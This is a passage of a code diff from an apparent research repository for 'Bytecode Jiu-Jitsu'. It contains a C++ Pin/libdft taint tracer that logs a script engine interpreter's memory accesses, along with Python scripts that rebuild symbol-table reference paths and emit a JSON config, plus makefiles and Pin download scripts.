logger.info('Processed memory access log file exists. Loading: {}'.format(proc_memaccess_log_file))
memaccess_log = load_proc_log_from_json(proc_memaccess_log_file)
logger.info('Done.')
else:
logger.info('Parsing memory access log...')
memaccess_log = parse_tainted_memaccess_log(log_content, taint_log)
save_proc_log_to_json(memaccess_log, proc_memaccess_log_file)
logger.info('Done.')
if os.path.isfile(proc_heap_alloc_log_file):
logger.info('Processed heap allocation log file exists. Loading: {}'.format(proc_heap_alloc_log_file))
heap_alloc_log = load_proc_log_from_json(proc_heap_alloc_log_file)
logger.info('Done.')
else:
logger.info('Parsing heap allocation log...')
heap_alloc_log = parse_heap_alloc_log(log_content)
save_proc_log_to_json(heap_alloc_log, proc_heap_alloc_log_file)
logger.info('Done.')
# unify_addr_bak(taint_log, memaccess_log)
print_taint_src_reg_values(taint_log)
# detect_arg_struct_semantics(taint_log)
# struct_log = consolidate_log_into_struct(taint_log)
if os.path.isfile(proc_taint_var_log_file):
logger.info('Processed tainted variable log file exists. Loading: {}'.format(proc_taint_var_log_file))
taint_var_log = load_proc_taint_var_log_from_json(proc_taint_var_log_file)
logger.info('Done.')
else:
logger.info('Rebuilding tained variables...')
taint_var_log = consolidate_bytes_into_var(taint_log, memaccess_log)
save_proc_taint_var_log_to_json(taint_var_log, proc_taint_var_log_file)
logger.info('Done.')
structs = build_struct(memaccess_log)
arrays = build_array(memaccess_log)
reg_values = get_reg_values(taint_log)
init_taint_var_log = generate_init_var_log(taint_var_log, memaccess_log)
target_vals = []
for target_val in config['characteristic_values']:
if isinstance(target_val, str):
heap_bufs = reconstruct_heap_buf(taint_log, heap_alloc_log)
found_bufs = find_symtable_buf(heap_bufs, target_val)
for buf in found_bufs:
target_vals.append(buf['base'])
else:
target_vals.append(target_val)
trees = []
paths = []
for target_val in target_vals:
logger.info('Search target: {}'.format(hex(target_val)))
addrs = get_var_addr(init_taint_var_log, target_val)
if len(addrs) == 0:
logger.error('Search target {} not found.'.format(hex(target_val)))
continue
addr = addrs[0]
logger.info('Search target {} found at {}.'.format(hex(target_val), hex(addr)))
tree = build_struct_tree(structs, init_taint_var_log, addr)
for reg, reg_val in reg_values.items():
path = get_struct_ref_path(tree, reg_val)
if path is not None:
buf = 'Found reference path: {}'.format(reg.upper())
for node in path:
buf = '{} ({}, +{})'.format(buf, hex(node.struct.base), hex(node.offset))
logger.info(buf)
logger.info('====================')
for node in path:
print_node(node)
logger.info('====================')
trees.append(tree)
paths.append(path)
for tree, path in zip(trees, paths):
ref = build_ref_info(tree, path, reg_values)
logger.info(ref)
with open(args.output, 'w') as f:
f.write(dump_output_config(ref, config))
if __name__ == '__main__':
main()
+27
View File
@@ -0,0 +1,27 @@
import json
def dump_output_config(ref, config):
output = {}
if ref.start_reg == 'rdi':
output['management_structure_index'] = 0
elif ref.start_reg == 'rsi':
output['management_structure_index'] = 1
symbol_tables = []
symbol_table = {}
symbol_table['forward_link_offset'] = 0
symbol_table['reference_offsets'] = []
for offset in ref.ref_offsets:
if isinstance(offset, dict):
symbol_table['reference_offsets'].append(offset['offset'])
else:
symbol_table['reference_offsets'].append(offset)
symbol_table['type'] = 2
symbol_table['scope'] = 0
symbol_tables.append(symbol_table)
output['symbol_tables'] = symbol_tables
return json.dumps(output, indent=4)
+55
View File
@@ -0,0 +1,55 @@
#!/usr/bin/env python
from logproc import *
def print_struct(log, addr, size, reg_val, tainted_addrs):
print('')
for i in range(size):
if i % 8 == 0:
bytes_str = get_bytes(log, addr + i, 8)
bytes_int = int(bytes_str, 16)
if bytes_int in reg_val.values():
for reg, val in reg_val.items():
if bytes_int == val:
print('{:#018x} {}\t{}'.format(addr + i, bytes_str, reg))
elif bytes_int in tainted_addrs:
print('{:#018x} {}\t*'.format(addr + i, bytes_str))
else:
print('{:#018x} {}'.format(addr + i, bytes_str))
def print_init_struct(memaccess_log, addr, size, reg_val, tainted_addrs):
print('')
print(size)
for i in range(size):
if i % 8 == 0:
if size - i > 8:
member_size = 8
else:
member_size = size - i
val = get_init_mem_value(memaccess_log, addr + i)
if val is None:
print('{:#018x} not assigned'.format(addr + i))
else:
fmt_str = '{addr:#018x} {val:0{digit}x}'.format(addr=addr + i, digit=member_size * 2, val=val)
if val == reg_val['rdi']:
fmt_str += '\trdi'
elif val == reg_val['rsi']:
fmt_str += '\trsi'
elif val in tainted_addrs:
fmt_str += '\t*'
print(fmt_str)
def print_taint_src_reg_values(log):
reg_values = get_reg_values(log)
for reg, val in reg_values.items():
print('{}: {:#018x}'.format(reg.upper(), val))
def print_node(node):
print('ID: {}'.format(node.id))
print('Parent: {}'.format(node.parent))
print('Childs: {}'.format(node.childs))
print('Address: {:#018x}'.format(node.addr))
print('Value: {val:#0{digit}x}'.format(digit=node.size * 2 + 2, val=node.val))
print('Size: {}'.format(node.size))
print('Struct base: {:#018x}'.format(node.struct.base))
print('Struct offset: {:#x}'.format(node.offset))
+56
View File
@@ -0,0 +1,56 @@
#!/usr/bin/env python
import json
def save_proc_taint_log_to_json(taint_log, proc_taint_log_json_file):
taint_log_for_json = []
for logline in taint_log:
if logline['trace'] == 'memtaint':
taint_log_for_json.append({
'trace': logline['trace'],
'addr': logline['addr'],
'tag': logline['tag'],
'byte': logline['byte'],
'char': ''
})
else:
taint_log_for_json.append(logline)
save_proc_log_to_json(taint_log_for_json, proc_taint_log_json_file)
def load_proc_taint_log_from_json(proc_taint_log_json_file):
taint_log = load_proc_log_from_json(proc_taint_log_json_file)
for i in range(len(taint_log)):
if taint_log[i]['trace'] == 'memtaint':
taint_log[i]['char'] = taint_log[i]['byte'].to_bytes(1, 'little')
return taint_log
def save_proc_taint_var_log_to_json(taint_var_log, proc_taint_var_log_json_file):
taint_var_log_for_json = []
for logline in taint_var_log:
if logline['trace'] == 'memtaint_var':
taint_var_log_for_json.append({
'trace': logline['trace'],
'addr': logline['addr'],
'tag': logline['tag'],
'size': logline['size'],
'bytes': logline['bytes'],
'chars': ''
})
else:
taint_var_log_for_json.append(logline)
save_proc_log_to_json(taint_var_log_for_json, proc_taint_var_log_json_file)
def load_proc_taint_var_log_from_json(proc_taint_var_log_json_file):
taint_var_log = load_proc_log_from_json(proc_taint_var_log_json_file)
for i in range(len(taint_var_log)):
if taint_var_log[i]['trace'] == 'memtaint_var':
taint_var_log[i]['chars'] = taint_var_log[i]['bytes'].to_bytes(taint_var_log[i]['size'], 'little')
return taint_var_log
def save_proc_log_to_json(proc_log, proc_log_json_file):
with open(proc_log_json_file, 'w') as f:
f.write(json.dumps(proc_log))
def load_proc_log_from_json(proc_log_json_file):
with open(proc_log_json_file, 'r') as f:
return json.loads(f.read())
+15
View File
@@ -0,0 +1,15 @@
class Node(object):
def __init__(self):
self.id = 0
self.parent = -1
self.childs = []
self.addr = 0
self.struct = None
self.offset = 0
self.bytes = None
self.size = 0
def __str__(self):
result = str(self.id)
return result
+26
View File
@@ -0,0 +1,26 @@
# Dependencies:
# sudo apt-get install gcc-multilib g++-multilib
CC=clang
CXX=clang++
LIBDFT_SRC = src
LIBDFT_TOOL = tools
# LIBDFT_TAG_FLAGS ?= -DLIBDFT_TAG_TYPE=libdft_tag_uint8
.PHONY: all
all: dftsrc tool #test
.PHONY: dftsrc mytool
dftsrc: $(LIBDFT_SRC)
cd $< && CPPFLAGS=$(CPPFLAGS) DFTFLAGS=$(LIBDFT_TAG_FLAGS) make
tool: $(LIBDFT_TOOL)
# cd $< && TARGET=ia32 CPPFLAGS=$(CPPFLAGS) DFTFLAGS=$(LIBDFT_TAG_FLAGS) make
cd $< && TARGET=intel64 CPPFLAGS=$(CPPFLAGS) DFTFLAGS=$(LIBDFT_TAG_FLAGS) make
.PHONY: clean
clean:
cd $(LIBDFT_SRC) && make clean
cd $(LIBDFT_TOOL) && make clean
+11
View File
@@ -0,0 +1,11 @@
$ZIP_NAME="pin-3.20-98437-gf02b61307-msvc-windows"
$PREFIX = ${HOME}
Set-Location -Path ${HOME}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri https://software.intel.com/sites/landingpage/pintool/downloads/${ZIP_NAME}.zip -OutFile ${PREFIX}\${ZIP_NAME}.zip
Expand-Archive -Force -Path ${PREFIX}\${ZIP_NAME}.zip -DestinationPath ${PREFIX}
Remove-Item ${PREFIX}\${ZIP_NAME}.zip
echo "Please set:"
echo "set PIN_ROOT=${PREFIX}\${ZIP_NAME}"
+13
View File
@@ -0,0 +1,13 @@
#!/bin/bash
set -eux
PREFIX=${PREFIX:-${HOME}}
TAR_NAME="pin-3.20-98437-gf02b61307-gcc-linux"
wget https://software.intel.com/sites/landingpage/pintool/downloads/${TAR_NAME}.tar.gz
tar -C ${PREFIX} -xzf ${TAR_NAME}.tar.gz
rm ${TAR_NAME}.tar.gz
set +x
echo "Please set:"
echo "export PIN_ROOT=${PREFIX}/${TAR_NAME}"
+22
View File
@@ -0,0 +1,22 @@
#
# NSL DFT lib (libdft)
#
# Columbia University, Department of Computer Science
# Network Security Lab
#
# Vasileios P. Kemerlis (vpk@cs.columbia.edu)
#
# variable definitions
TARGET ?= intel64
# If the tool is built out of the kit, PIN_ROOT must be specified in the make invocation and point to the kit root.
ifdef PIN_ROOT
CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config
else
CONFIG_ROOT := ../Config
endif
include $(CONFIG_ROOT)/makefile.config
include makefile.rules
include $(TOOLS_ROOT)/Config/makefile.default.rules
+234
View File
@@ -0,0 +1,234 @@
#include "Tracer-BJJ.h"
#define DEBUG_INFO 1
std::ostream *out = &cout;
PIN_LOCK lock;
ADDRINT target_image_base = 0x0;
ADDRINT target_image_end = 0x0;
ADDRINT memwrite_addr = 0x0;
KNOB<std::string> KnobConfigFile(KNOB_MODE_WRITEONCE, "pintool", "c", "", "specify a config file name.");
KNOB<std::string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "", "specify file name for the trace output.");
INT32 Usage() {
std::cerr << "This tool traces memory accesses and taint propagation for Bytecode Jiu-Jitsu." << endl;
std::cerr << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
VOID Image(IMG img, VOID *v) {
Config *config = (Config *)v;
string image_name = IMG_Name(img);
ADDRINT image_base = IMG_LowAddress(img);
int image_id = IMG_Id(img);
size_t image_size = IMG_HighAddress(img) - image_base;
*out << "trace: load, image name: "
<< image_name
<< ", ID: "
<< std::dec
<< image_id
<< ", image base: "
<< (void *)image_base
<< ", image size: 0x"
<< std::hex << std::setfill('0') << std::setw(8)
<< image_size
<< endl;
if (image_name == config->target_module_name) {
target_image_base = image_base;
target_image_end = image_base + image_size;
RTN rtn_interp_func = RTN_CreateAt(image_base + config->interp_func_offset, "interp_func");
if (RTN_Valid(rtn_interp_func)) {
RTN_Open(rtn_interp_func);
RTN_InsertCall(rtn_interp_func, IPOINT_BEFORE, (AFUNPTR)hdlr_interp_func_before,
IARG_THREAD_ID,
IARG_UINT32, REG_RDI,
IARG_UINT32, REG_RSI,
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
IARG_END);
RTN_InsertCall(rtn_interp_func, IPOINT_AFTER, (AFUNPTR)hdlr_interp_func_after,
IARG_THREAD_ID,
IARG_END);
RTN_Close(rtn_interp_func);
}
}
}
VOID Ins(INS ins, void * v) {
Config *config = (Config *)v;
uint32_t memaccess_type;
if (INS_IsValidForIpointAfter(ins) && INS_IsMemoryRead(ins)) {
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_mov_stack_read_before,
IARG_INST_PTR,
IARG_MEMORYREAD_EA,
IARG_ADDRINT, (ADDRINT)config,
IARG_END);
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_mov_stack_read_after,
IARG_INST_PTR,
IARG_REG_VALUE, REG_EAX,
IARG_ADDRINT, (ADDRINT)config,
IARG_END);
}
if (INS_RegWContain(ins, REG_STACK_PTR)) {
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_stack_ptr_write_before,
IARG_REG_VALUE, REG_INST_PTR,
IARG_REG_VALUE, REG_STACK_PTR,
IARG_END);
if (INS_IsValidForIpointAfter(ins)) {
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_stack_ptr_write_after,
IARG_REG_VALUE, REG_INST_PTR,
IARG_REG_VALUE, REG_STACK_PTR,
IARG_END);
}
}
if (INS_IsMemoryRead(ins)) {
for (UINT32 i = 0; i < INS_MemoryOperandCount(ins); i++) {
if (INS_MemoryOperandIsRead(ins, i)) {
memaccess_type = 0;
if (INS_MemoryBaseReg(ins) != REG_INVALID()) {
memaccess_type = memaccess_type | MEMACCESS_BASE_REG_USED;
if (INS_MemoryIndexReg(ins) != REG_INVALID()) {
memaccess_type = memaccess_type | MEMACCESS_INDEX_REG_USED;
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memread,
IARG_UINT32, memaccess_type,
IARG_INST_PTR,
IARG_MEMORYREAD_EA,
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
IARG_REG_VALUE, INS_MemoryIndexReg(ins),
IARG_UINT32, INS_MemoryDisplacement(ins),
IARG_UINT32, INS_MemoryOperandSize(ins, i),
IARG_END);
} else {
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memread,
IARG_UINT32, memaccess_type,
IARG_INST_PTR,
IARG_MEMORYREAD_EA,
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
IARG_UINT32, 0,
IARG_UINT32, INS_MemoryDisplacement(ins),
IARG_UINT32, INS_MemoryOperandSize(ins, i),
IARG_END);
}
} else {
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memread,
IARG_UINT32, memaccess_type,
IARG_INST_PTR,
IARG_MEMORYREAD_EA,
IARG_UINT32, 0,
IARG_UINT32, 0,
IARG_UINT32, INS_MemoryDisplacement(ins),
IARG_UINT32, INS_MemoryOperandSize(ins, i),
IARG_END);
}
}
}
}
if (INS_IsMemoryWrite(ins) && INS_IsValidForIpointAfter(ins)) {
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memwrite_before,
IARG_MEMORYWRITE_EA,
IARG_END);
for (UINT32 i = 0; i < INS_MemoryOperandCount(ins); i++) {
if (INS_MemoryOperandIsWritten(ins, i)) {
memaccess_type = 0;
if (INS_MemoryBaseReg(ins) != REG_INVALID()) {
memaccess_type = memaccess_type | MEMACCESS_BASE_REG_USED;
if (INS_MemoryIndexReg(ins) != REG_INVALID()) {
memaccess_type = memaccess_type | MEMACCESS_INDEX_REG_USED;
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_memwrite_after,
IARG_UINT32, memaccess_type,
IARG_INST_PTR,
IARG_ADDRINT, 0,
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
IARG_REG_VALUE, INS_MemoryIndexReg(ins),
IARG_UINT32, INS_MemoryDisplacement(ins),
IARG_UINT32, INS_MemoryOperandSize(ins, i),
IARG_END);
} else {
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_memwrite_after,
IARG_UINT32, memaccess_type,
IARG_INST_PTR,
IARG_ADDRINT, 0,
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
IARG_UINT32, 0,
IARG_UINT32, INS_MemoryDisplacement(ins),
IARG_UINT32, INS_MemoryOperandSize(ins, i),
IARG_END);
}
} else {
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_memwrite_after,
IARG_UINT32, memaccess_type,
IARG_INST_PTR,
IARG_ADDRINT, 0,
IARG_UINT32, 0,
IARG_UINT32, 0,
IARG_UINT32, INS_MemoryDisplacement(ins),
IARG_UINT32, INS_MemoryOperandSize(ins, i),
IARG_END);
}
}
}
}
}
int main(int argc, char *argv[]) {
PIN_InitSymbols();
PIN_InitLock(&lock);
if (unlikely(PIN_Init(argc, argv))) {
std::cerr
<< "Sth error in PIN_Init. Plz use the right command line options."
<< std::endl;
return -1;
}
if (unlikely(libdft_init() != 0)) {
std::cerr << "Sth error libdft_init." << std::endl;
return -1;
}
std::string config_file_name = KnobConfigFile.Value();
if (config_file_name.empty()) {
std::cout << "[-] Error: No config file specified." << std::endl;
exit(-1);
}
std::cout << "[+] Config file: " << config_file_name << endl;
std::string config_string = read_file(config_file_name);
print_config_string(config_string);
Config *config;
config = parse_config(config_string);
if (!is_config_valid(*config)) {
std::cout << "Error: Invalid config." << std::endl;
exit(-1);
}
print_config(*config);
std::string output_file_name = KnobOutputFile.Value();
if (!output_file_name.empty()) {
std::cout << "[+] Output file: " << output_file_name << endl;
out = new std::ofstream(output_file_name.c_str());
}
IMG_AddInstrumentFunction(Image, config);
INS_AddInstrumentFunction(Ins, config);
PIN_StartProgram();
return 0;
}
+17
View File
@@ -0,0 +1,17 @@
#ifndef _TRACER_BJJ_TRACER_BJJ_H_
#define _TRACER_BJJ_TRACER_BJJ_H_
#include "common.h"
#include "config.h"
#include "defs.h"
#include "handler.h"
#include "ins_helper.h"
#include "print.h"
#include "rtag_helper.h"
#include "tagmap_helper.h"
#include "util.h"
VOID Image(IMG img, VOID *v);
VOID Ins(INS ins, void * v);
#endif // _TRACER_BJJ_TRACER_BJJ_H_
+15
View File
@@ -0,0 +1,15 @@
#ifndef _TRACER_BJJ_COMMON_H_
#define _TRACER_BJJ_COMMON_H_
#include "pin.H"
#include <fstream>
#include <iostream>
#include <string>
#define REGISTER_WIDTH 8
using std::cout;
using std::endl;
using std::string;
#endif // _TRACER_BJJ_COMMON_H_
+49
View File
@@ -0,0 +1,49 @@
#include "config.h"
#include <string>
std::pair<std::string, std::string> get_config_item(std::string config_line) {
std::stringstream ss(config_line);
std::string elem;
std::string val;
std::pair <std::string, std::string> config_item;
getline(ss, elem, '=');
getline(ss, val, '=');
config_item = std::make_pair(elem, val);
return config_item;
}
Config *parse_config(std::string config_string) {
Config *config;
std::stringstream ss(config_string);
std::string config_line;
std::pair <std::string, std::string> config_item;
config = new Config;
while(getline(ss, config_line)) {
config_item = get_config_item(config_line);
if (config_item.first == "target_module_name") {
config->target_module_name = config_item.second;
}
else if (config_item.first == "interp_func_offset") {
config->interp_func_offset = strtol(config_item.second.c_str(), nullptr, 16);
}
else if (config_item.first == "decoder_offset") {
config->decoder_offset = strtol(config_item.second.c_str(), nullptr, 16);
}
}
return config;
}
BOOL is_config_valid(Config config) {
if (config.target_module_name.size() == 0
|| config.interp_func_offset == 0
|| config.decoder_offset == 0)
return false;
return true;
}
+17
View File
@@ -0,0 +1,17 @@
#ifndef _TRACER_BJJ_CONFIG_H_
#define _TRACER_BJJ_CONFIG_H_
#include "common.h"
typedef struct _Config {
std::string target_module_name;
off_t interp_func_offset;
off_t decoder_offset;
} Config;
std::pair<std::string, std::string> get_config_item(std::string config_line);
Config *parse_config(std::string config_string);
BOOL is_config_valid(Config config);
#endif // _TRACER_BJJ_CONFIG_H_
+9
View File
@@ -0,0 +1,9 @@
#ifndef _TRACER_BJJ_DEFS_H_
#define _TRACER_BJJ_DEFS_H_
const int MEMACCESS_READ = 0;
const int MEMACCESS_WRITE = 1;
const uint32_t MEMACCESS_BASE_REG_USED = 0x1;
const uint32_t MEMACCESS_INDEX_REG_USED = 0x2;
#endif // _TRACER_BJJ_DEFS_H_
+138
View File
@@ -0,0 +1,138 @@
#include "handler.h"
extern std::ostream *out;
// extern const ptrdiff_t offset_vpc_read;
// const ptrdiff_t offset_vpc_read = 0x305444;
extern PIN_LOCK lock;
extern ADDRINT target_image_base;
extern ADDRINT memwrite_addr;
UINT64 vm_insn_id = 0;
BOOL script_engine_vm_insns_are_skipped = false;
BOOL exec_context_is_user_script = false;
ADDRINT vpc;
ADDRINT obj1;
ADDRINT obj2;
ADDRINT ptr_obj1;
ADDRINT ptr_obj2;
ADDRINT current_stack_ptr = 0x0;
VOID hdlr_stack_ptr_write_before(ADDRINT insn_ptr, ADDRINT stack_ptr)
{
log_stack(insn_ptr, stack_ptr);
}
VOID hdlr_stack_ptr_write_after(ADDRINT insn_ptr, ADDRINT stack_ptr)
{
log_stack(insn_ptr, stack_ptr);
}
// VOID hdlr_memread(ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT size)
VOID hdlr_memread(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size)
{
if (!exec_context_is_user_script) return;
// log_memaccess(MEMACCESS_READ, insn_ptr, target_addr, base_addr, size);
log_memaccess(MEMACCESS_READ, memaccess_type, insn_ptr, target_addr, base_addr, index, disp, size);
}
VOID hdlr_memwrite_before(ADDRINT target_addr)
{
if (!exec_context_is_user_script) return;
memwrite_addr = target_addr;
}
// VOID hdlr_memwrite_after(ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT size)
VOID hdlr_memwrite_after(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size)
{
if (!exec_context_is_user_script) return;
// log_memaccess(MEMACCESS_WRITE, insn_ptr, target_addr, base_addr, size);
log_memaccess(MEMACCESS_WRITE, memaccess_type, insn_ptr, target_addr, base_addr, index, disp, size);
}
VOID hdlr_interp_func_before(THREADID tid, REG rdi, REG rsi, ADDRINT arg1, ADDRINT arg2) {
ptr_obj1 = arg1;
ptr_obj2 = arg2;
tag_t t1, t2;
if (script_engine_vm_insns_are_skipped)
exec_context_is_user_script = true;
if (!exec_context_is_user_script) return;
*out << "trace: stack, stack ptr: 0x"
<< std::setw(REGISTER_WIDTH) << std::setfill('0') << std::hex
<< current_stack_ptr
<< endl;
*out << "trace: reg, reg: "
<< REG_StringShort(rdi)
<< ", val: "
<< (void *)arg1
<< endl;
*out << "trace: reg, reg: "
<< REG_StringShort(rsi)
<< ", val: "
<< (void *)arg2
<< endl;
t1 = tag_alloc<tag_t>(1);
t2 = tag_alloc<tag_t>(2);
for (int i = 0; i < 8; i++) {
tagmap_setb_reg(tid, REG_INDX(rdi), i, t1);
tagmap_setb_reg(tid, REG_INDX(rsi), i, t2);
}
PIN_GetLock(&lock, 1);
*out << "[Info] " << __FUNCTION__ << " start" << endl;
print_rtag_gr64(out, tid, rdi, "[getb_reg] ");
print_rtag_gr64(out, tid, rsi, "[getb_reg] ");
*out << "[Info] " << __FUNCTION__ << " end" << endl;
PIN_ReleaseLock(&lock);
}
VOID hdlr_interp_func_after(THREADID tid) {
if (!exec_context_is_user_script) return;
PIN_GetLock(&lock, 1);
*out << "[Info] " << __FUNCTION__ << " start" << endl;
tagmap_explore(out);
rtag_explore(out, tid);
// print_tag_qword(obj1, "Obj1.val");
// print_tag_qword(obj2, "Obj2.val");
// print_tag_qword(obj2 + 8, "Obj2.p_obj1");
*out << "[Info] " << __FUNCTION__ << " end" << endl;
PIN_ReleaseLock(&lock);
}
VOID hdlr_mov_stack_read_before(ADDRINT ip, ADDRINT target_addr, Config *config) {
// if (ip == target_image_base + offset_vpc_read)
if (ip == target_image_base + config->decoder_offset)
vpc = target_addr;
}
VOID hdlr_mov_stack_read_after(ADDRINT ip, UINT32 vmop, Config *config) {
// if (ip == target_image_base + offset_vpc_read) {
if (ip == target_image_base + config->decoder_offset) {
if (exec_context_is_user_script) {
PIN_GetLock(&lock, 1);
*out << "trace: vm, id: "
<< std::dec
<< vm_insn_id
<< ", vpc: "
<< (void *)vpc
<< ", vmop: 0x"
<< std::hex << std::setfill('0') << std::setw(2)
<< vmop
<< endl;
PIN_ReleaseLock(&lock);
}
vm_insn_id++;
if (vm_insn_id == 59423) script_engine_vm_insns_are_skipped = true;
}
}
+21
View File
@@ -0,0 +1,21 @@
#ifndef _TRACER_BJJ_HANDLER_H_
#define _TRACER_BJJ_HANDLER_H_
#include "common.h"
#include "config.h"
#include "defs.h"
#include "log.h"
#include "rtag_helper.h"
#include "tagmap_helper.h"
VOID hdlr_stack_ptr_write_before(ADDRINT insn_ptr, ADDRINT stack_ptr);
VOID hdlr_stack_ptr_write_after(ADDRINT insn_ptr, ADDRINT stack_ptr);
VOID hdlr_memread(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size);
VOID hdlr_memwrite_before(ADDRINT target_addr);
VOID hdlr_memwrite_after(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size);
VOID hdlr_interp_func_before(THREADID tid, REG rdi, REG rsi, ADDRINT arg1, ADDRINT arg2);
VOID hdlr_interp_func_after(THREADID tid);
VOID hdlr_mov_stack_read_before(ADDRINT ip, ADDRINT target_addr, Config *config);
VOID hdlr_mov_stack_read_after(ADDRINT ip, UINT32 vmop, Config *config);
#endif // _TRACER_BJJ_HANDLER_H_
+118
View File
@@ -0,0 +1,118 @@
#include "log.h"
extern std::ostream *out;
extern BOOL exec_context_is_user_script;
extern ADDRINT current_stack_ptr;
extern ADDRINT memwrite_addr;
extern ADDRINT target_image_base;
extern ADDRINT target_image_end;
VOID log_stack(ADDRINT insn_ptr, ADDRINT stack_ptr)
{
if (!exec_context_is_user_script)
return;
if (insn_ptr < target_image_base || insn_ptr > target_image_end)
return;
PIN_LockClient();
current_stack_ptr = stack_ptr;
PIN_UnlockClient();
}
VOID log_memaccess(ADDRINT rw_type, uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size)
{
PIN_LockClient();
if (insn_ptr < target_image_base || insn_ptr > target_image_end) {
PIN_UnlockClient();
return;
}
string rw;
if (rw_type == MEMACCESS_READ) {
rw = "read";
} else if (rw_type == MEMACCESS_WRITE) {
rw = "write";
target_addr = memwrite_addr;
}
uint8_t *buf;
buf = new uint8_t[size];
memset(buf, 0x0, size);
PIN_SafeCopy(buf, (const VOID *)target_addr, size);
*out << "trace: memaccess, type: "
<< rw
<< ", ip: "
<< (void *)insn_ptr
<< ", target: "
<< (void *)target_addr;
if (memaccess_type & MEMACCESS_BASE_REG_USED) {
* out << ", base: "
<< (void *)base_addr;
}
if (memaccess_type & MEMACCESS_INDEX_REG_USED) {
*out << ", index: "
<< std::dec
<< index;
}
if (disp != 0) {
*out << ", disp: 0x"
<< std::hex
<< disp;
}
*out << ", size: "
<< std::dec
<< size
<< ", value: ";
switch (size) {
case 1:
*out << "0x"
<< std::setw(2) << std::setfill('0') << std::hex
<< int(*buf);
break;
case 2:
*out << "0x"
<< std::setw(4) << std::setfill('0') << std::hex
<< *(uint16_t *)buf;
break;
case 4:
*out << "0x"
<< std::setw(8) << std::setfill('0') << std::hex
<< *(uint32_t *)buf;
break;
case 8:
*out << "0x"
<< std::setw(16) << std::setfill('0') << std::hex
<< *(uint64_t *)buf;
break;
case 16:
*out << "0x"
<< std::setw(32) << std::setfill('0') << std::hex
<< *(uint64_t *)buf
<< *(uint64_t *)(buf + 8);
break;
case 32:
*out << "0x"
<< std::setw(32) << std::setfill('0') << std::hex
<< *(uint64_t *)buf
<< *(uint64_t *)(buf + 8)
<< *(uint64_t *)(buf + 16)
<< *(uint64_t *)(buf + 24)
<< *(uint64_t *)(buf + 32);
break;
default:
*out << (char *)buf;
break;
}
*out << endl;
delete[] buf;
memwrite_addr = 0x0;
PIN_UnlockClient();
}
+10
View File
@@ -0,0 +1,10 @@
#ifndef _TRACER_BJJ_LOG_H_
#define _TRACER_BJJ_LOG_H_
#include "common.h"
#include "defs.h"
VOID log_stack(ADDRINT insn_ptr, ADDRINT stack_ptr);
VOID log_memaccess(ADDRINT rw_type, uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size);
#endif // _TRACER_BJJ_LOG_H_
+143
View File
@@ -0,0 +1,143 @@
##############################################################
#
# This file includes all the test targets as well as all the
# non-default build rules and test recipes.
#
##############################################################
###### Additional includes that are specific to this directory ######
# Placeholder for additional include files.
##############################################################
#
# Test targets
#
##############################################################
###### Place all generic definitions here ######
# This defines tests which run tools of the same name. This is simply for convenience to avoid
# defining the test name twice (once in TOOL_ROOTS and again in TEST_ROOTS).
# Tests defined here should not be defined in TOOL_ROOTS and TEST_ROOTS.
TEST_TOOL_ROOTS :=
# This defines the tests to be run that were not already defined in TEST_TOOL_ROOTS.
TEST_ROOTS := # test_mini
# This defines the tools which will be run during the the tests, and were not already defined in
# TEST_TOOL_ROOTS.
# TOOL_ROOTS := SymTableDetector
TOOL_ROOTS := Tracer
# This defines the static analysis tools which will be run during the the tests. They should not
# be defined in TEST_TOOL_ROOTS. If a test with the same name exists, it should be defined in
# TEST_ROOTS.
# Note: Static analysis tools are in fact executables linked with the Pin Static Analysis Library.
# This library provides a subset of the Pin APIs which allows the tool to perform static analysis
# of an application or dll. Pin itself is not used when this tool runs.
SA_TOOL_ROOTS :=
# This defines all the applications that will be run during the tests.
APP_ROOTS := # mini_test
# This defines any additional object files that need to be compiled.
OBJECT_ROOTS :=
# This defines any additional dlls (shared objects), other than the pintools, that need to be compiled.
DLL_ROOTS :=
# This defines any static libraries (archives), that need to be built.
LIB_ROOTS :=
###### Place architecture-specific definitions here ######
# Place ia32-specific definitions here if they apply to all supported operating systems.
ifeq ($(TARGET),ia32)
TOOL_CXXFLAGS += -m32
# LIBDFT_INC_PATH = $(realpath ../../src32/)
# LIBDFT_PATH = $(realpath ../../src32/obj-ia32/)
LIBDFT_INC_PATH = /libdft/src32/
LIBDFT_PATH = /libdft/src32/obj-ia32/
endif
# Place intel64-specific definitions here if they apply to all supported operating systems.
ifeq ($(TARGET),intel64)
